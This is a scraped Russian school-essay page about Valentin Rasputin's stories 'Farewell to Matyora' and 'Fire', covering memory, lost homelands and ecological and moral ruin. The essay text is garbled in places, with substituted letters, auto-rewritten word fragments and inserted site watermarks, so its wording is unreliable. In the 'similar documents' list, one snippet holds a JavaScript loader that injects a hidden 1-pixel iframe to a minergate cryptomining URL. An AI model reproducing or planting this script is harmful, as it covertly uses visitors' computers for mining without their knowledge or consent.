-



   В судьбе сибиряков - судьба всей земли




doc.png  Тип документа: Сочинения


type.png  Предмет: Распутин В.


type.png  ВУЗ: Не привязан


size.png  Размер: 0 b

В судьбе сибиряков - судьба всей земли

Счастье — это быть с природой,
видеть её , говорить с ней.
Л. Н. Толстой

Валентин Распутин родом из Сибири. Он родился в поселке Усть-Уда, что стоит на Ангаре, на полпути между Иркутском и Братском

. В тех краях Распутин учился, сначала в школе, затем в Иркутском университете, здесь стал журналистом. Первые очерки и рассказы написаны молодым Распутиным в итоге корреспондентской работы.
Валентин Распутин любит родину. Он не представляет себе жизни без Сибири, без трескучих морозов, без слепящего глаза солнца

. В произведениях писателя раскрывается таежная романтика, единство людей с природой. Он изображает характеры, завораживающие своей силой, первозданностью. Своих героев писатель нашел в сибирских селениях. Такие повести как “Последний срок” (1970), “Деньги для Марии” (1967) написаны на материале сибирской деревни.
Высокие нравственные проблемы добра и справедливости, чуткости и щедрости человеческого сердца, чистоты и откровенности между людьми волнуют В.Распутина

. В 1976 году была написана повесть “Прощание с Матерой”. Она интересна тем, что в ней поднимается проблема бытия человека на Земле, проблема жизни поколений, которые, сменяя друг друга, не должны ᴨᴏᴛерять связей.
Повесть эта — своеобразная драма народной жизни. Здесь речь идет о человеческой памяти и верности роду своему. Совершенно реальные ситуации и характеры старой и новой деревни стали поводом для размышлений автора о нашей современной жизни.
В результате интенсивного использования природных ресурсов, скопления химических и ядерных отходов, всеобщей механизации и автоматизации, небрежного обращения с землей разрушается все живое на нашей планете. Одновременно расшатываются и рушатся нравственные устои самого человека, который забывает о своих корнях, о единстве с природой, постепенно лишается чуткости и доброты, перестает сопереживать чужим бедам. Не до них, — лишь бы самому выжить.
А ведь память любого человека навсегда связана с тем местом, где он родился, где прошло его детство, юность, где он научился понимать жизнь. Но сейчас мало осталось людей, которые с раннего детства до поздней старости живут на одном месте. Появляются новые города и поселки, старые разрушаются. Частая смена места жительства, отсутствие родины приводят к ощущению зыбкости настоящего, а вместе с ним и будущего. Меняются и характер человека, его привычки, наклонности.
Валентин Распутин не может остаться равнодушным к таким явлениям, как загрязнение рек, озер, вырубка лесов, создание большого количества вредных промышленных предприятий.
На примере одной деревни, которая после ввода в действие ГЭС должна уйти под воду, писатель показывает страшные последствия подобных преобразований: затапливаются плодороднейшие земли, на которых веками сеяли и собирали хлеб, луга, пастбища, леса. Никогда больше не увидят жители Матеры “раздолья и богатства, и красоты, и дикости” своего острова. Уйдет все под воду, и даже нельзя будет найти места, где стояла их деревня.
А ведь здесь всегда была плодородная земля, где каждый год собирали столько зерна, что хватало и самим, и соседям. Жители целой деревни, родившиеся в Матере, выросшие и состарившиеся, вынуждены уехать в совершенно новое чужое место, а ведь в старости так тяжело что-либо менять. И все это только из-за какой-то плотины, которая никогда не возместит ущерба, причиненного земле.
Молодежи легче. Она спокойно уезжает в город, в совхоз, чтобы там продолжить свою жизнь, не понимая, что, теряя Матеру, вместе с ней теряет частичку себя; безвозвратно уходит что-то чистое, светлое из души. Так, на пример, Петруха сам поджигает свою избу, чтобы получить за нее деньги и уехать в город. Он не испытывает чувства жалости, привязанности к родному дому. Только ᴨᴏᴛом, в конце жизни, такие, как Петруха. поймут, чем на самом деле была для них Матера.

Старики боятся перемен, “не зная, что ждет впереди. На Матере им все знакомо, обжито, проторено, тут даже и смерть среди своих виделась собственными глазами ясно и просто...”.
Старуха Дарья — главный идейный персонаж повести. Ее устами произнесены главные слова повести: “Правда в памяти. У кого нет памяти, у того нет жизни”. Эта женщина является некоей хранительницей вечности. Дарья — истинный национальный характер. Писатель наделяет её положительными чертами, простой и незатейливой речью.
Дарья боится уехать в совхоз даже к своему родному сыну. Ее пугает новая жизнь. Каждый раз, когда Павел приезжает в гости, мать выспрашивает у него о жизни на новом месте. Она не может представить себе баню на несколько человек, воду в подполе. Дарья не знает, что будет делать в совхозе среди чужих людей, и поэтому с радостью проводит последние дни на острове в кругу своих соседок.
Все разговоры жителей Матеры сводятся к одному: переезд из деревни неизбежен. Почему же все это происходит? Развитие цивилизации, ускорение технического прогресса требуют этого? А может, это происходит из-за того, что люди совесть ᴨᴏᴛеряли? Дарья так говорит об этом: “Раньше её видать было, то ли есть она, то ли нету. Кто с ей — совестливый, кто без её — бессовестный. Теперь холера разберет, все сошлось в одну кучу — что то, что другое”.
Повесть исполнена символики: в Матере мы угадываем символ жизни, саму нашу землю; в Дарье — хранительницу этой жизни, мать. “Прощание с Матерой” — предупреждение об опасности, грозящей матери-земле, “подобно острову”, затерявшемуся “в космическом океане”

. В повести много других символических образов: это и образ избы, которую Дарья обряжает как покойника перед сожжением; это и туман, который прячет остров. Читателю совершенно понятна решимость Дарьи и её подруг не расставаться с Матерой и разделить её судьбу.
Острая публицистичность, апокалиптичность мировосприятия свойственны повести. Центральная тема несет в себе поистине библейскую трагичность. Содержание произведения и его финал ᴄᴫᴏжны для восприятия, — есть основания для различных интерпретаций.
Не только талант писателя сказался в этой работе, но и глубокая личная я тем конкретным сюжетом, который лег в основу повести. Деревня его детства Атамановка сама оказалась на дне Братского моря. Писатель очень любил свою деревню. Да и как не любить место, где ты родился? Красота родного края, очарование сибирской природы питают Распутина-художника. Язык Распутина отличается точностью и ясностью высказываний, а самое главное — простотой, которая помогла писателю в воссоздании подлинно народной жизни.
Повесть Распутина “Пожар” — это как бы продолжение темы, поднятой в “Прощании с Матерой”. Здесь перед нами как раз тот поселок, куда переехали люди из при этом пленных деревень, люди, оторвавшиеся от своих корней, лишенные связи с землей. И вот происходит чрезвычайное событие в поселке Сосновка — пожар на складе. Сам поселок “бивачного типа”, люди там “остановились переждать непогоду, отдохнуть, да так и застряли”. Но народ все время находился в ожидании, что вот-вот надо будет уезжать, и не обустраивался.
Между тем шли годы, а поселок плавал в грязи из-за отсутствия тротуаров и из-за того, что никто не собирался здесь обустраиваться и не посадил даже деревце или кустик около дома. Поселок собрался из жителей нескольких при этом пленных деревень. Люди трудился и на лесоповале. Привыкнув только разрушать природу, уничтожать её , они перестали заботиться о чем-либо, махнули на все рукой.
Главный герой повести Иван Петрович — честный, работящий, неглупый человек. Он трудится сначала в Егоровке, ᴨᴏᴛом, после при этом пления, не уезжает в город, к детям, а живет в поселке Сосновка, отдавая все свое время работе. Казалось бы, нормальный гражданин, с таких пример надо брать. Но он не выступает против подлости, воровства, царящих в поселке. Только иногда он вставал на собраниях и, “западая голосом, страшно нервничая и ненавидя себя, начинал говорить”, считая, что все это напрасно. Иван Петрович пытается убедить себя, что “молчание —это тоже метод действия и убеждения”. Он свыкся с окружающей жизнью, ему трудно заставить себя выступать против руководства.
Иван Петрович — смертельно уставший от жизни человек. Он хочет найти какое-то тихое, укромное местечко и там отдохнуть, не видеть этого кошмара вокруг

. В Сосновке “правили” архаровцы, и никто не перечил им, хотя, объединившись, жители поселка могли бы им противостоять. Сами люди изменились с тех пор, как пришлось переселиться из зоны при этом пления

. В них что-то сломалось. Информация с сайта Бигреферат.ру / bigreferat.ru Они стремятся лишь зарабатывать деньги. Важно учесть, что их не интересует, что будет после того, как они уедут.
Архаровцы в повести — явление символическое. Именно такие, как они, на протяжении 70 лет уничтожали материальные и духовные ценности народа, терявшего представления о добре и зле, о справедливости и беззаконии. Труд для архаровцев — только средство наживы для веселой, легкой жизни. Эти люди берут у природы все, что можно, безжалостно уничтожая её . “А мы еще считаем века, которые миновали от первобытности, века-то миновали, а в душе она совсем рядом”, — замечает писатель. Но первобытный человек все же уважал природу, а в наше время этого чувства не осталось. Информация с сайта Бигреферат.ру / bigreferat.ru
Жизнь, которую ведут люди в Сосновке, калечит их нравственно. Распутин пишет, что раньше большинство стремились к добру, а теперь все как бы развернулось и пошло назад, ко злу

. В повести хорошо прослеживаются два взаимосвязанных процесса: уничтожение природы и разложение личности. Но, может быть, это обратимые процессы, и если мы восстановим природу, то, вероятно, восстановится нравственность. От этого зависит и жизнь человечества вообще. Только вот разрушать гораздо легче и быстрее, чем восстанавливать.
Писатель верит в наш народ и надеется на то, что еще не все ᴨᴏᴛеряно: не полностью разложились души людей, и земля не погибла, не перестала родить. “Разогреется солнышко — и опять... вынесет она все свое хозяйство в зелени и цвету и представит для уговорных трудов”. Земля пока прощает человека. Но все-таки не стоит испытывать её терпения...
В конце повести перед нами символическая картина: “...Идет по весенней земле маленький, заблудившийся человек, отчаявшийся найти свой дом, и вот зайдет он сейчас за перелесок и скроется навсегда”. Человек, ᴨᴏᴛерявший свою родину, свой дом, не сможет долго жить. Земля кормит нас, одевает, спасает от холода, дарит радость. Ее силу, поддержку чувствует каждый. Она сама — уникальное явление во Вселенной, редкое чудо. “Что ты есть, молчаливая наша земля, доколе молчишь ты?” Если все оставить по прежнему, она стряхнет с себя человечество. Ни в коем случае нельзя допустить этого.
Распутин призывает одуматься, осмотреться кругом, решить, что важнее: личное обогащение, бездумная жизнь или здоровье и процветание планеты. А решив, начинать действовать разумно. К этому же призывают ученые всего мира. Об этом пишут не только экологи, но и специалисты самых разных областей знаний: происходит сдвиг магнитного поля Земли, общий перегрев планеты, ежегодно природные катаклизмы уносят жизни многих людей и животных.

... ни птица, ни ива слезы не прольет,
Если сгинет с земли человеческий род.

Произведениям Валентина Распутина сопутствует огромный успех. Он лауреат Государственной премии, писатель, всеми замеченный и прочитанный, переведенный на десятки языков мира. И в этом залог перемен к лучшему в сознании людей. Валентин Распутин всем, что написал, убеждает нас, что в человек есть свет, и погасить его трудно!



Похожие документы


Киноповесть «Украина в огне»: судьба народа сквозь призму авторского видения и оценки
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })();...

Стихотворение М. Ю. Лермонтова «Смерть поэта» и его роль в судьбе стихотворца
Стихотворение М. Ю. Лермонтова «Смерть поэта» и его роль в судьбе стихотворца Стихотворение М. Ю. Лермонтова «Смерть поэта» и его роль в судьбе стихотворца 1.Стремительное вхождение молодого Лермонтова в литературу. 2.Вызов правящей верхушке в стихотворении «Смерть поэта». 3.«Смерть поэта» — определенный этап в жизни и творчестве поэта. Вхождение Михаила Юрьевича Лермонтова в литературу было стремительным — оно началось стихотворным произведением «Смерть поэта». В те дни, когда Россия утратила великого литературного гения Александра Сергеевича Пушкина, в рукописных экземплярах появилось знаменитое стихотворение «Смерть поэта» (1937) Лермонтова — отклик на последнюю дуэль Пушкина. Он словно бы стал преемником Пушкина. Вот так, в одночасье, пришла слава к молодому поэту. Погиб Поэт! - невольник чести - Пал, оклеветанный молвой, С свинцом в груди и жаждой мести, Поникнув гордой головой!... Текст стихотворения, гневного и наполненного болью, моментально широко распространился в рукописях, получив высокую оценку как в пушкинском кругу, так и у читателей, почувствовавших в лирических строках отклик на личную боль и возмущение. Не вынесла душа Поэта Позора мелочных обид, Восстал он против мнений света Один, как прежде... и убит!...

Герои Отечественной войны в романе Гроссмана «Жизнь и судьба»
О Великой Отечественной войне написано очень много. Первые произведения о ней начали появляться уже в середине сороковых годов, и с тех пор романы, рассказы, стихи о войне издавались сплошным потоком. И многие среди них были, к сожалению, совершенно бездарны и нечитабельны. 

Человеческая судьба и любовь к родной земле в творчестве А. Малышко
Андрей Самойлович Малышко - нерядовая фигура в истории украинской культуры. Его многогранный талант обнаружил себя в разных отраслях, но наиболее благосклонной к писателю была муза поэзии. В его наработке больше двух десятков сборников и семнадцати поэм, в которых автор охватывает огромные тематические горизонты. Но о человеке труда, человеке-патриоте, поэт пишет с особенным трепетом и душевным теплом. Родная земля в стихотворении «Родина» изображена как источник жизни, мудрости, красоты и материнской опеки. Она, как справедливо считает писатель, владеет какой-то магической силой, потому что те, кому дала «хлеб... с песнями соловья», приобретают природную мощь:  ...

Трагическая судьба Тараса Шевченко
Как известно, Шевченко был сыном крестьянина-крепостного и сам был крепостным. Отец и мать великого поэта преждевременно умерли от непосильного труда, лишений и болезней. Такая же судьба ожидала Тараса Шевченко. Оставшись в одиннадцать лет круглой сиротой, он рано испытал непосильной тяжбы подневольного труда, почувствовал горе "бедного неулыбающегося мужика". Жил Шевченко в чрезвычайно жестких условиях, очень бедствовал, часто голодал и болел....

Bigreferat.ru - каталог учебной информации (c) 2013-2014 | * | Правообладателям